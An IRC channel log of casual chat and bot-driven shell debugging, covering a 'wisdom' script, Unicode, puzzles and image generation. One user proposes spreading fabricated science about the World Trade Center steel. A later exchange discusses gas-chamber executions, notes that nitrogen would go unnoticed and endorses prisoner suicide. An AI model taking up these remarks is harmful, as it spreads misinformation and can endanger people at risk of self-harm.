line 1: unexpected EOF while looking for matching `"' \ /hackenv/bin/wisdom: line 2: syntax error: unexpected end of file 01:26:24 `` echo 'f=$(find wisdom -ipath "wisdom/*$1*" -type f -print0 | shuf -z -n1); echo -n "${f#wisdom/}//" | rnooooooodl; rnoooooooodl < "$f"' > bin/wisdom 01:26:26 `wisdom Ørjan 01:26:27 No output. 01:26:28 ​/hackenv/bin/wisdom: line 1: rnooooooodl: command not found \ /hackenv/bin/wisdom: line 1: : No such file or directory 01:26:33 oh. 01:26:43 -!- iaglium has joined. 01:26:47 it had to happen some time. 01:26:53 this is not my fault 01:26:56 indeed 01:27:00 `` echo 'f=$(find wisdom -ipath "wisdom/*$1*" -type f -print0 | shuf -z -n1); echo -n "${f#wisdom/}//" | rnooodl; rnoooodl < "$f"' > bin/wisdom 01:27:02 this is not my fault 01:27:05 No output. 01:27:05 `wisdom Ørjan 01:27:07 ​///hackenv/bin/wisdom: line 1: : No such file or directory 01:27:26 HOW MANY FUCKING O'S 01:27:52 `` type rnoodl 01:27:55 ​/hackenv/bin/`: line 4: type: rnoodl: not found 01:28:01 `` ls bin/rno* 01:28:02 `` type rnooodl 01:28:04 `` type rnoooodl 01:28:07 oh wait 01:28:09 bin/rnoooodl 01:28:13 `run ls bin/rno* 01:28:14 rnooooooooodl is /hackenv/bin/rnoooooodl 01:28:15 ​/hackenv/bin/`: line 4: type: rnoooodl: not found 01:28:17 bin/rnooodl 01:28:22 izabera: 3 hth 01:28:31 `` echo 'f=$(find wisdom -ipath "wisdom/*$1*" -type f -print0 | shuf -z -n1); echo -n "${f#wisdom/}//" | rnoooodl; rnoooodl < "$f"' > bin/wisdom 01:28:35 No output. 01:28:37 You should just pipe the whole thing into one rnooodl 01:28:37 `wisdom Ørjan 01:28:37 protip: `run is the only one which doesn't apply it. 01:28:40 ​/hackenv/bin/wisdom: line 1: rnoooodl: command not found \ /hackenv/bin/wisdom: line 1: : No such file or directory 01:28:50 (echo -n ...; cat ...) | rnooodl 01:28:50 `` echo 'f=$(find wisdom -ipath "wisdom/*$1*" -type f -print0 | shuf -z -n1); echo -n "${f#wisdom/}//" | rnooodl; rnooodl < "$f"' > bin/wisdom 01:28:54 No output. 01:29:03 shachaf: NOT NOW FFS 01:29:09 `` echo 'f=$(find wisdom -ipath "wisdom/*$1*" -type f -print0 | shuf -z -n1); echo -n "${f#wisdom/}//" | rnooodl; rnooodl < "$f"' > bin/wisdom 01:29:10 No output. 01:29:11 `wisdom Ørjan 01:29:13 ​///hackenv/bin/wisdom: line 1: : No such file or directory 01:29:24 `` set -x; source bin/wisdom Ørjan 01:29:25 ​++ source bin/wisdom $'\303\230rjan' \ ++++ find wisdom -ipath 'wisdom/*Ørjan*' -type f -print0 \ ++++ shuf -z -n1 \ +++ f=$'wisdom/\303\270rjan' \ +++ rnooodl \ +++ echo -n $'\303\270rjan//' \ +++ rnooodl \ ørjan//Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers without not 01:29:40 wait what? now it worked? 01:30:04 `` set -x; source bin/wisdom Ørjan 01:30:06 ​++ source bin/wisdom $'\303\230rjan' \ ++++ find wisdom -ipath 'wisdom/*Ørjan*' -type f -print0 \ ++++ shuf -z -n1 \ +++ f=$'wisdom/\303\270rjan' \ +++ rnooodl \ +++ echo -n $'\303\270rjan//' \ +++ rnooodl \ ørjan//Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers without not 01:30:06 `` set -x; source bin/wisdom Ørjan 01:30:08 ​++ source bin/wisdom $'\303\230rjan' \ ++++ find wisdom -ipath 'wisdom/*Ørjan*' -type f -print0 \ ++++ shuf -z -n1 \ +++ f=$'wisdom/\303\270rjan' \ +++ rnooodl \ +++ echo -n $'\303\270rjan//' \ +++ rnooodl \ ørjan//Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers without not 01:30:19 `wisdom Ørjan 01:30:22 ​///hackenv/bin/wisdom: line 1: : No such file or directory 01:30:26 `` bin/wisdom Ørjan 01:30:30 ​ørjan//Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers without noticing it. 01:30:41 `wisdom Ørjan 01:30:42 ​ørjan//Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers without noticing it. 01:30:47 izabera: trailing space, i said 01:30:51 oh 01:30:54 fuck that 01:30:58 yeah 01:31:06 so this works now 01:31:12 `wisdom å 01:31:14 ​Å//Å _is_ a village in Norway, unless you're the BBC and don't understand things on top of letters. 01:31:20 yay 01:31:28 `` echo 'f=$(find wisdom -ipath "wisdom/*$1*" -type f -print0 | shuf -z -n1); { echo -n "${f#wisdom/}//"; cat "$f"; } | rnooodl' > bin/wisdom 01:31:29 `wisdom å 01:31:31 No output. 01:31:32 `wisdom Ørjan 01:31:32 ​å//å is the same letter as Å, unless you're HackEgo and don't understand things on top of letters. 01:31:35 cat: : No such file or directory \ // 01:31:46 `wisdom Ørjan 01:31:48 cat: : No such file or directory \ // 01:31:50 ẘhat 01:31:56 `wisdom Ørjan 01:31:57 how do i type this fucking thing without a trailing space 01:31:59 ​ørjan//Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers without noticing it. 01:32:16 why is my stupid client adding a trailing space in the first place 01:32:21 `wisdom Ørjan 01:32:22 ​ørjan//Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers without noticing it. 01:32:47 i dunno. in other cases it usually happens due to nick completion. 01:33:28 `hog wisdom/å 01:33:31 learn \xc3\xa5 is the same letter as \xc3\x85, unless you\'re HackEgo and don\'t understand things on top of letters. 01:33:56 `` cat bin/hog 01:33:57 hg log --template "{desc}\n" -- "$@" 01:34:27 `` grep -r lowercase bin 01:34:34 bin/learn:topic=$(echo "$1" | lowercase | sed 's/^\(an\?\|the\) //;s/s\?[:;,.!?]\? .*//') \ bin/learn_append2:topic=$(echo "$1" | lowercase | sed 's/^\(an\?\|the\) //;s/s\? .*//') 01:34:44 whoa whoa whoa 01:34:48 learn is sacred 01:34:51 `` grep -rl lowercase bin 01:34:53 bin/learn \ bin/learn_append2 \ bin/mislearn \ bin/slashlearn \ bin/learn_append \ bin/multicode \ bin/? \ bin/gs2.py \ bin/bookofeso \ bin/tomfoolery \ bin/units 01:35:03 `? to 01:35:05 to? ¯\(°​_o)/¯ 01:35:09 izabera: there are also some in le/ 01:35:17 `` grep -r lowercase le 01:35:18 le/rn_append:topic=$(echo "$1" | lowercase | cut -d / -f 1) 01:35:52 -!- Phantom_Hoover has quit (Read error: Connection reset by peer). 01:36:08 `` cat 'bin/``' 01:36:09 ​#!/bin/sh \ export LANG=C; exec bash -O extglob -c "$@" | rnooodl 01:36:10 izabera: also, as i've been trying to point out, there's a wisdom entry that depends on Å _not_ being affected by lowercase 01:36:14 `` cat 'bin/``' 01:36:17 `` cat 'bin/`' 01:36:19 ​#!/bin/sh \ export LANG=C; exec bash -O extglob -c "$@" | rnoooodl 01:36:20 ​#!/bin/bash \ TIMEFORMAT="real: %lR, user: %lU, sys: %lS" \ shopt -s extglob globstar \ eval -- "$1" | rnooooooodl 01:37:10 why would it depend on a character being broken 01:37:14 shachaf: i fear that soon learn will be massacred 01:37:25 izabera: because there's one entry for å and one for Å 01:37:43 [0] days since oerjan last punned 01:40:21 quote from wikipédia: “libidinal energy being subjected to relentless sublimation under capitalism”. tdnh. 01:40:54 -!- LKoen has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 01:41:15 ẃíḱíṕéd́íá 01:41:59 ẃíḱíṕe̋ḋíá hth 01:42:07 helloily wb 01:42:13 boily: is that freudian marxism 01:42:49 i can say that capitalism has had little effect on my libido 01:43:30 quintopia: that's just because you don't take advantage of all the viagra offers tdnh 01:43:35 i think work energy and libidinal energy are separate magisteria 01:43:45 oerjan: they're phishing attempts 01:44:03 phiendish 01:45:07 phausible. 01:45:19 help 01:45:23 what is the meaning of thausible 01:45:25 shachaf: phroblem? 01:45:31 `? thausiblee 01:45:32 A thausiblee is the recipient of a thausible action. 01:45:40 `? thausible 01:45:41 thausible? ¯\(°​_o)/¯ 01:46:01 `learn A thausible action is one commited toward a thausiblee. 01:46:06 Learned 'thausible': A thausible action is one commited toward a thausiblee. 01:46:20 another wikipédian quote: “ temporal, historical, and ontological disjunction in which the ostensible immediacy of presence is replaced by "the figure of the ghost as that which is neither present, nor absent, neither dead nor alive."” 01:46:28 um 01:46:34 `learn A thausible action is one committed toward a thausiblee. 01:46:38 Relearned 'thausible': A thausible action is one committed toward a thausiblee. 01:47:02 `? action 01:47:03 action? ¯\(°​_o)/¯ 01:47:42 Oh. 01:47:49 15:56:36: FireFly: plausible, thanks 01:47:51 `learn An action should always have an equal and opposite reaction, whenever thausible. 01:47:54 Learned 'action': An action should always have an equal and opposite reaction, whenever thausible. 01:47:55 I don't knw why you made me logread that. 01:47:59 It was underwhelming. 01:48:29 quintopia: what are magisteria, if I may enquire? 01:48:42 shachaf: we'll try to be more whelming in the future. 01:48:50 `card-by-name whelming 01:48:55 Whelming Wave \ 2UU \ Sorcery \ Return all creatures to their owners' hands except for Krakens, Leviathans, Octopuses, and Serpents. \ BNG-R, DDO-R 01:49:11 oerjan: thausible actions are temporal, historical, and plausible hth 01:49:57 boily: like science and religion 01:51:49 oh. 01:52:31 https://en.wikipedia.org/wiki/Non-overlapping_magisteria twh 01:56:08 so maybe a better word would be energitropia... 01:56:20 minus the r 01:56:33 wat 01:56:36 well 01:56:39 that's dumb 01:57:39 non-overlapping industridominia 02:01:04 byeoily 02:05:29 bonnuitopia! 02:09:48 Another idea of new keyword ability of Magic: the Gathering would be, while this object is on the stack, no other spells/abilities can target anything that this spell/ability targets. As a part of this object's resolution, all of this spell/ability's targets become sheltered. Any player, object, or zone which is sheltered cannot be targeted. As a state-based action, all sheltered players/objects/zones become unsheltered if the stack is empty and t 02:10:24 Your message was cut off. 02:11:23 if the stack is empty and there are no pending triggers. 02:29:31 -!- Etaoin has quit (Quit: BOOM). 02:35:50 -!- boily has quit (Quit: GREENHOUSE CHICKEN). 02:41:40 -!- copumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…). 02:56:18 -!- hppavilion[1] has joined. 02:57:17 Pawbable claws: Police can enter your house on the grounds that they have reason to believe there's an adorable kitty inside that they want to snuggle with 02:58:39 -!- sebbu has quit (Ping timeout: 264 seconds). 03:04:03 @massages-groud 03:04:03 Unknown command, try @list 03:04:11 @massages-loug 03:04:11 boily said 15h 19m 55s ago: hppavellon[1]. ¡!. 03:06:04 @ask boily ...how did you know about that? I sent that exact message to a friend via Hangouts literally 7 minutes ago. ⸘who are you‽ 03:06:04 Consider it noted. 03:07:04 -!- bauen1 has joined. 03:12:05 -!- copumpkin has joined. 03:12:36 twyndyllyngs 03:13:09 -!- bauen1 has quit (Ping timeout: 246 seconds). 03:44:31 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 04:03:44 -!- Sprocklem has joined. 04:40:15 -!- hppavilion[1] has joined. 04:46:21 -!- Kaynato has quit (Ping timeout: 250 seconds). 04:52:05 Are there any ways to exploit Relativity to make legally difficult situations? 04:52:22 e.g. exploiting simultaneity so that you commit a crime from some points of view but not from others? 04:52:34 s/points of view/reference frames/ 04:52:53 you might get a speeding ticket hth 04:53:43 shachaf: Yes, but you're unambiguously speeding if you're traveling at relativistic speeds even from your- wait, that doesn't work, does it? 04:54:06 -!- sebbu has joined. 04:54:25 Hm, maybe we should change speeding laws from "It's illegal to drive faster than the posted limits" to "It's illegal to cause your surroundings to move faster than the posted limits while driving" 04:54:32 `? speeding 04:55:10 speeding? ¯\(°​_o)/¯ 04:55:15 Oh, I suppose the easiest way to exploit relativity is using the twin paradox to mess with the age of consent 05:25:29 -!- bb010g has joined. 05:49:13 -!- bauen1 has joined. 05:53:31 -!- bauen1 has quit (Ping timeout: 250 seconds). 06:10:34 -!- bauen1 has joined. 06:13:58 -!- augur has quit (Remote host closed the connection). 06:43:56 -!- lambda-11235 has joined. 07:48:55 <\oren\> hppavilion[1]: the courts will clear it up 07:51:00 -!- augur has joined. 07:52:39 -!- Sprocklem has quit (Ping timeout: 264 seconds). 08:27:26 -!- Akaibu has quit (Quit: Connection closed for inactivity). 08:27:58 -!- oerjan has quit (Quit: Nîte). 08:32:14 "If you came across a genie and it granted you one wish, what would you wish for?" (Peace on earth. | 08:32:14 A bajillion dollars. | Success and happiness for my family and friends. | To look young forever.) 08:33:17 I'm pretty sure if I have a bajillion dollars I can bring peace on earth, and if I look young forever I can use my eternal youthfulness to get money from other people with ridiculous products and schams 08:37:52 Dollars just would become worthless quite quickly. 08:38:20 And the third wish is the one where you end up in a glass coffin. 08:38:42 -!- Akaibu has joined. 08:40:15 of course the first one might be the one that sets time back by a billion years or two. 08:42:32 So, to summarize, the options are: Destroy Earth. | Destroy USD based economy. | Success and happiness for my family and friends. | Die young. 08:48:40 -!- AnotherTest has joined. 08:53:00 -!- AnotherTest has quit (Ping timeout: 246 seconds). 08:57:43 If I were to bring Einstein from the past to the present, would that qualify as irony? 08:58:19 At first I thought it would, because relativity is the thing that really, physically prohibits time travel (I'm looking at you, tachyonic antiteleiPhone) 08:58:32 However, I don't think that that includes a rule about bringing someone from the past to the present 09:09:05 I forget, am I supposed to hate Sir Isaac Newton? The internet probably has a rule about this, but I don't remember it 09:13:42 -!- lambda-11235 has quit (Quit: Bye). 09:14:32 -!- augur has quit (Remote host closed the connection). 09:25:41 I literally looked up what the most boring government agency is 09:25:47 Bureau of Land Management 09:25:51 Sure enough, there are memes about it 09:25:59 (Mostly regarding blacklivesmatter though) 09:37:08 https://hassciencegonetoofar.com/sriracha-2-go-review-solved-an-unthinkable-problem-see-how/ 09:37:11 omg 09:42:55 "The server crashes if the user's password is a resolvable URL" 09:43:08 I'm scared to open the explainxkcd page because it might be a reference to a real bug 09:43:18 :D 09:43:58 `wisdom 09:44:54 imagine//Imagine was the only song not interrupted after two stanzas on the opening ceremony of the 2012 London Olympic Games, a calm moment in an otherwise chaotic rush through fifty pop songs. 09:45:38 hppavilion[1]: I don't think it's a reference to one particular bug, just a whole class of bugs. Like, you know, those that just interpolate a user-submitted password into an SQL statement literally. Or those that compare passwords with a php operator that converts strings to numbers if they start with a digit, so "1foobar" == "1quux" 09:46:18 also, username user 09:47:11 `culprits wisdom/imagine 09:47:17 I just discovered something 09:47:29 b_jonas 09:47:31 `? universe 09:47:40 A universe is a poem in one stanza. 09:47:42 If you enter .com in firefox, it converts to some sort of unicode name that could be a resolvable url 09:47:44 I guess there were many universes in that ceremony. 09:47:52 So you could have a domain name with an emoji name 09:48:00 hppavilion[1]: but there have been cases when stuff have tried to resolve URLs in untrusted documents and download them, most importantly the ones where an XML reader read an external thingy that supposedly contained XML entity definitions required for decoding XML. 09:48:12 hppavilion[1]: punycode is no firefox thing 09:48:16 it's a standard 09:48:18 myname: Well yeah 09:48:19 -!- pikhq has quit (Ping timeout: 260 seconds). 09:48:30 myname: I didn't say it was JUST a firefox thing 09:48:40 myname: I meant that firefox was by test group 09:48:41 Then there's certain thumbnail-makers that ran viruses in documents when you just looked at the list of files with icons and thumbnails. 09:48:45 N=firefox 09:48:55 Wow, unicode has a "Reversed hand with middle finger raised" emoji 09:48:58 That's surprising 09:49:02 -!- Phantom_Hoover has joined. 09:49:05 old news 09:50:25 N=firefox 09:51:34 myname: Oh really? I bet skin tone emoji are old news too, aren't they 09:51:50 And "Love Hotel" 09:52:23 middle finger and skin tones went through media a lot 09:52:26 And you've already heard that unicode is going to include small images originating in Japan as characters even 09:52:57 And there's a group emerging called the "Unicode Consortium" that aims to make a single unified character set- but you knew that already, didn't you? 09:53:34 🖕🏻 09:53:47 unicode included small images originated in japan since years 09:53:55 pile of poo is an example.of that 09:54:17 -!- Sprocklem has joined. 09:59:59 -!- pikhq has joined. 10:09:48 -!- bb010g has quit (Quit: Connection closed for inactivity). 10:18:39 -!- spockers has quit (Remote host closed the connection). 10:19:06 -!- spockers has joined. 10:43:54 -!- moon_ has quit (Ping timeout: 276 seconds). 10:59:42 myname: And of course you already know about the eye and shirt color emoji modifiers? 11:04:10 hppavilion[1]: I checked the explainxkcd, it's *not* a reference 11:04:12 (thankfully) 11:04:29 Hm, looking for a list of major modern human cultures 11:19:08 Here's an idea for a scientific experiment... 11:21:01 Take a collection of modern pop music- selected by some objective metric (perhaps a preliminary experiment?) that excludes blatantly autotuned music and anything targeted at teenage girls- then doctor it to sound like an older song in terms of sound quality and play it for old people (40s, 50s) and see what they think 11:21:48 In comparison to little-known-but-mainstream music from the same time period that the main group is targeted for 11:24:32 https://www.youtube.com/watch?v=VdQY7BusJNU AKA The Induction Song 11:24:38 `? induction 11:24:52 induction? ¯\(°​_o)/¯ 11:33:38 -!- boily has joined. 11:35:41 -!- MoALTz has joined. 11:44:54 Ugh, it's annoying that there isn't a central database of airplane wing masses for various models 11:46:42 -!- iaglium has quit (Quit: Bed Time). 11:57:26 -!- Akaibu has quit (Quit: Connection closed for inactivity). 12:14:53 ahoily. 12:14:59 I just thought of a little social experiment I want to do 12:15:47 See if people share image macros explaining science that most people don't care about which reinforce their political viewpoints 12:15:58 (Spoiler: They do) 12:17:07 Basically, counter the "JET FUEL CAN'T MELT STEEL BEAMS" people with bullshit science regarding the construction of the WTC that claims that the steel used in the towers contained certain intentionally-added impurities that made it stronger, but also lowered its melting point 12:17:30 Now, I'm not a 9/11 conspiracy theorist or anything 12:17:33 But it'd be interesting to see 12:17:40 Maybe I'll even get on snopes =D 12:19:14 hppavellon[1]! 12:20:07 https://en.wikipedia.org/wiki/Phase_diagram#/media/File:Brosen_ironcarbon.svg ← you can use this 12:20:13 @massages-loud 12:20:13 hppavilion[1] asked 9h 14m 8s ago: ...how did you know about that? I sent that exact message to a friend via Hangouts literally 7 minutes ago. ⸘who are you‽ 12:20:28 how did I know what? 12:25:07 boily said 15h 19m 55s ago: hppavellon[1]. ¡!. 12:25:42 I didn't know. I was punctubalancing. I'm a renowned Capitalist hth. 12:28:38 -!- boily has quit (Quit: ACTION CHICKEN). 13:00:49 Ha! If you google "\"Kilometers to pounds\"", you get links to sites that offer conversion because they don't really limit themselves 13:01:39 I wonder if I can crash a site with this... 13:16:13 Hm, I just had a rather entertaining idea for a story 13:16:38 It's like... 15% fanfiction, and the rest is original content 13:16:45 Basically, take all the major fandoms 13:16:52 And have them wage an all-out war 13:17:15 Each one forced to adhere to the rules of their own universe, while having access to their universe's technology 13:18:47 (For example, the Whovians have access to TARDi, sonic screwdrivers/shades/trowels, and psychic paper; Star Wars fans (aka good human beings) control spacecraft, blasters, lightsabres, and have a motherfucking deathstar at some point; bronies... well, they're basically the Swiss) 13:36:51 -!- Sgeo_ has quit (Ping timeout: 240 seconds). 13:43:37 -!- spiette has joined. 13:45:14 -!- spiette has quit (Excess Flood). 13:45:39 -!- spiette has joined. 14:00:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 14:09:18 -!- LKoen has joined. 14:09:50 -!- hppavilion[1] has joined. 14:14:03 I just did some simulations, and if you were to make a 100 piece puzzle and allow people to purchase 14:14:32 ...pieces individually and at random- that is, they purchase a piece but don't know which piece it is out of the set 14:14:51 They would, on average, need to purchase 479.7 pieces to get a full puzzle 14:14:54 (N=10) 14:24:38 -!- gniourf has quit (Read error: Connection reset by peer). 14:25:11 hppavilion[1]: don't you mean 518.7 pieces on average? 14:25:31 b_jonas: ...did you do your own simulation? 14:25:52 hppavilion[1]: not this time. but it's a well-known problem called the coupon-collector problem, right? 14:26:09 he didn't do the simulation, he knows the numbers by heart 14:26:16 https://en.wikipedia.org/wiki/Coupon_collector%27s_problem 14:26:17 b_jonas: Because I have the patent rights to individualized jigsaw puzzle piece purchase simulation. You owe me $180,000 14:26:34 http://www.drunkmenworkhere.org/170 hurts my brain 14:26:36 hppavilion[1]: when's the patent from? 14:26:45 hppavilion[1]: I'm bet it's invalid because there's prior art 14:27:22 b_jonas: That's never bothered the US patent office before 14:27:28 At least, where software is concerned 14:27:56 hppavilion[1]: besides, the number is totally unrealistic in practice, it only works for insanely stupid distributors where each piece is equally likely and the individual pieces you buy are independent 14:28:26 b_jonas: Well how wouldn't they be independent? 14:28:39 b_jonas: And, I suppose, we assume no one forms a coalition to trade pieces 14:28:47 hppavilion[1]: real-world distributors simply have one or two of the pieces inaccessible, or skew them so you only get a random among the first 90 pieces from booster packs shipped to the West Coast, and 90 other pieces from booster packs to the East Coast 14:29:13 hppavilion[1]: if you just omit a single piece from the packs, then nobody can complete the puzzle, but they have to buy a lot of packs till they can prove you're doing that 14:29:31 omitting a piece completely from everywhere is a dumb way, it gets you tarred and feathered 14:29:32 (if 1000 people each buy 100 pieces for a 100 piece puzzle and trade their extras to those who need it, there will be many more completed puzzles than if each acts independently) 14:29:35 but there are much better ways to do this 14:29:51 you can just make some of your pieces more likely than others 14:30:44 oh, and have a shitton of tiny letter legal disclaimer text on the packs, saying (if anyone can dig throuhg the language) that you don't guarantee uniform distribution 14:30:47 b_jonas: Well I get that, but you said "and the individual pieces you buy are independent" 14:31:10 hppavilion[1]: yes. if you only get West Coast pieces because you live on the West Coast, then they're not independent 14:31:37 b_jonas: Ah, that makes sense 14:31:53 So have the ultra-rare piece that has a bit of gold on the edge? 14:31:58 you get West Coast pieces, which never include that particular blue one with no identifying features in the sky, and East Coast citizens never get that brown piece from the ground 14:33:58 hppavilion[1]: no no! you can have shiny (foil) premium cards, but they shouldn't be just the rares. make every tenth pack have a premium card, and make sure people notice that any piece can be premium, so sooner or later someone will want to collect an all-premium puzzle and trade premiums more expensively than other pieces. but that's orthogonal to ordinary rarity. 14:34:45 anyway, http://russell2.math.bme.hu/~ambrus/sc/info1/info1-gyx-spoiled.html contains a simulation of a similar (but not identical) problem 14:35:23 and people have certainly simulated this sort of stuff ages ago, since back on early computers, with their punched cards and core memory and very flawed random generator routines. 14:35:29 so you can screw your patent. 14:59:15 -!- `^_^v has joined. 15:36:12 -!- Kaynato has joined. 15:38:46 Hm... it's said that a polytime solution to an NP-C problem collapses all of NP into P- that is, the discovery of a polytime solution to an NP-C problem proves P=NP 15:39:29 But I've never actually seen anything concrete about this- granted, I haven't seen the proof either (though reading the formal definition of NP-C gives a pretty clear idea of the proof) 15:43:37 -!- LKoen has quit (Remote host closed the connection). 15:45:31 But I'd like to see a Python program (or other easy-to-read code- even pseudocode) that assumes a builtin function that solves the TSP (decision version, of course) and solves Sudoku puzzles on n^2*n^2 boards of n*n blocks 15:50:01 -!- LKoen has joined. 15:57:08 Git question. Does the reflog store the dates of the resets (as opposed to the dates of creating the commits)? If so, how do I display them? 16:01:58 -!- Phantom_Hoover has quit (Remote host closed the connection). 16:06:31 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 16:26:09 how do i generate interesting random pictures? 16:26:50 i tried to produce a valid netpbm by printing a header and then dumping it from /dev/urandom and i can't distinguish two different pictures 16:35:42 -!- ^v has quit (Ping timeout: 250 seconds). 16:36:27 -!- ^v has joined. 16:37:11 Try some of my farbfeld programs and see if any of those help? 16:37:37 where are they? 16:38:03 http://zzo38computer.org/fossil/farbfeld.ui/ 16:38:08 thanks 16:38:10 Just random RGB will probably only end up looking grey 16:38:28 What kind of random images are you thinking of? 16:46:14 Yes, what kind of random images do you want anyways? 16:46:44 not sure 16:48:36 -!- gniourf has joined. 17:00:59 This is one example that can make random pictures: bitff 100 100 h 000000 111111 222222 333333 444444 555555 666666 777777 888888 999999 AAAAAA BBBBBB CCCCCC DDDDDD EEEEEE FFFFFF < /dev/urandom | ff-enlarge | ff-bright rgb 0 .15 2 | ff-paeth d | ff-convolve 9 0 1 1 1 1 1 1 1 1 1 | ff-bright a 1 17:17:08 -!- LKoen has quit (Remote host closed the connection). 17:17:31 btw i really like your idea to make them valid shell scripts that compile themselves 17:50:45 -!- hppavilion[1] has joined. 17:54:55 -!- bb010g has joined. 17:59:47 Human Microphone seems susceptible to telelphoning 18:00:16 Occupy Bath is likely the most absurd movement 18:01:34 hppavilion[1]: re: Einstein.... now if you were to bring Einstein back to life "now" (murky concept, hmm) one million light years away... 18:01:56 int-e: Your point? 18:02:12 int-e: I think I missed the beginning of this 18:02:13 that *would* violate causality. 18:02:20 Well yeah 18:02:26 But I'm assuming we bring him back on earth 18:02:32 hppavilion[1]: you said something 9 hours ago 18:02:38 int-e: Yes, I remember that 18:02:53 int-e: But that sounded like you had already said something about this that I missed 18:03:06 -!- augur has joined. 18:03:06 Which is, afaik, less than 1000000 ly across 18:03:21 I had not... I was at work 18:05:37 millipede, micropede, nanopede... 18:07:17 `olist 1042 18:08:17 olist 1042: shachaf oerjan Sgeo FireFly boily nortti b_jonas 18:08:38 o 18:09:05 `? olist 18:09:21 olist is update notification for the webcomic Order of the Stick. http://www.giantitp.com/comics/ootslatest.html 18:09:25 ooo 18:10:27 Also there's a new 13-page PDF apparently. 18:12:24 -!- augur has quit (Ping timeout: 244 seconds). 18:15:29 -!- augur has joined. 18:19:33 The true mark of the success of your rogue nation of religious fanatics is when Wikipedia's "Capital Punishment" infobox includes you execution method of choice as a "Modern" method 18:19:54 -!- AnotherTest has joined. 18:23:28 The United States: Literally the only world superpower to still have the death penalty in effecct 18:26:54 -!- AnotherTest has quit (Ping timeout: 260 seconds). 18:32:46 Hm, could an actually-humane death penalty be enacted by reverting to a gas chamber (let's pretend that that's not horrifying) and replacing the oxygen with CO2? Because the body can't detect lack of oxygen (according to The Martian- the most scholarly document of the millennium), so the person wouldn't really notice. We can even make it a nice room with a bookshelf (stocked, of course, with The Martian, the Holy Bible, the Qu'ran, the 18:32:46 Book of Mormon, the full works of Shakespeare, the important Einstein papers, A Brief History of Time, and any other relatively-easy-to-obtain books the condemned requests), a cozy armchair, nice yellow light, and perhaps a pipe 18:33:43 The condemned is likely given several hours to make peace before the final process is initiated- they get to finally initiate it (they hit the button), but if they wait too long it starts automatically 18:33:56 Or, y'know, we could just not execute people 18:34:07 But if we have to, this is how we should do it 18:34:33 Executing prisoners should be done by the same standards that we perform euthanasia on the terminally ill 18:40:45 Death penalty is a mistake. Sometimes you will make a mistake in figuring out who is guilty, and then you cannot fix it because they are already dead. Nevertheless the prisoner should be allow to suicide by themself 18:40:58 zzo38: Yeah, that's what I basically think 18:42:17 zzo38: The death penalty should be a voluntary thing- in certain sentences (specifically NOT including short sentences, because slightly unstable people will threaten to demand euthanasia if convicted which may result in a hung jury), the prisoner should be allowed to just end it instead 18:42:47 Because if I were to be in supermax for the rest of my life- solitary 23 hours a day, fed alone- I'd probably just go for death 18:43:55 Yes, that can be a reasonable idea. 18:44:41 Save energy too, by being dead; the dead need not to eat. 18:45:28 But, the people in the prison should be allowed to write too. Everyone must be allowed to write 18:46:38 zzo38: Yeah, of course 18:46:52 zzo38: And probably some rather limited internet of some sort 18:47:03 zzo38: And reasonable pricing on phone calls 18:59:25 -!- AnotherTest has joined. 19:04:47 in df, vampires also don't have to eat 19:05:51 -!- AnotherTest has quit (Ping timeout: 246 seconds). 19:10:40 -!- augur has quit (Remote host closed the connection). 19:11:06 When you start installing an application from a verified publisher and your antivirus immediately goes off 19:17:44 -!- ^v has quit (Remote host closed the connection). 19:18:14 -!- ^v has joined. 19:20:36 `wisdom 19:20:53 freefull//FreeFull is either full of freedom or free of fulldom, we are not sure. 19:21:49 Hi 19:22:14 hppavilion[1]: The body can detect CO2 very well 19:22:25 FreeFull: Maybe it's something else? 19:22:30 hppavilion[1]: Nitrogen would work well 19:29:53 `wisdom 19:29:57 treant//Treants are genericized ents for intellectual property reasons. 19:33:24 `wisdom 19:33:27 soap//Soap is the main ingredient for the iridescent visions that internet startups sell to investors. 19:44:30 -!- Elronnd has quit (Quit: Let's jump!). 19:46:31 -!- Elronnd has joined. 19:55:10 @tell boily I ate poutine yesterday. 19:55:10 Consider it noted. 20:02:47 -!- nycs has joined. 20:03:57 -!- `^_^v has quit (Ping timeout: 246 seconds). 20:09:11 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 20:12:40 -!- augur has joined. 20:53:54 -!- wob_jonas has joined. 20:55:16 shachaf: Did you pout afterwards? 20:55:56 fizzie: A bit. 20:56:08 I was poutine my proper place, that's for sure. 20:57:40 great, there was a new o while I was away 20:57:40 #1042 20:59:51 wob_jonas: There's also an 8-page PDF 21:12:12 idea: take a script 21:12:15 or a file 21:12:18 any file 21:12:24 round its size to a multiple of 3 21:12:37 find x and y such that x * y * 3 == filesize 21:12:54 then run cat - file <<< "P6 $x $y 255" > out.pbm 21:13:01 so you can see what your code looks like in pictures 21:13:09 or what your file looks like in pictures 21:13:18 or what your jpg picture looks like in pictures 21:14:44 go for it 21:14:59 is there a way to get a picture out of HackEgo ? 21:17:25 izabera: yes, there's a command that lets you fetch a file from HackEgo's file system through HTTP, and you can view the pic locally that way 21:17:35 what is it? 21:18:02 paste? 21:18:03 I dunno 21:18:07 ok 21:18:37 You might as well do the whole thing locally. 21:18:52 i just found out that multiplying numbers together makes them very large very quickly 21:20:39 this wouldn't be a problem but pixels are small 21:21:13 so? 21:21:33 so if i do this with a script i need a lot of code to make something visible 21:21:41 the question is: how do you choose x and y? 21:21:51 you may stretch 21:22:30 like, if you have 1000000 bytes, do you make 2^6 * 5^6? 21:23:29 i'll just pick the closest divisor to sqrt 21:30:17 nice 21:30:43 i thought about wether or not picking lowest and highest prime factors together will result in a good ration 21:30:47 -n 21:31:32 like, if you have 2,3,5,7,11,13,17 you will make 2*17*5*11 and 3*13*7 21:31:47 -!- nycs has quit (Quit: This computer has gone to sleep). 21:32:49 -!- `^_^v has joined. 21:33:15 -!- augur has quit (Read error: Connection reset by peer). 21:33:35 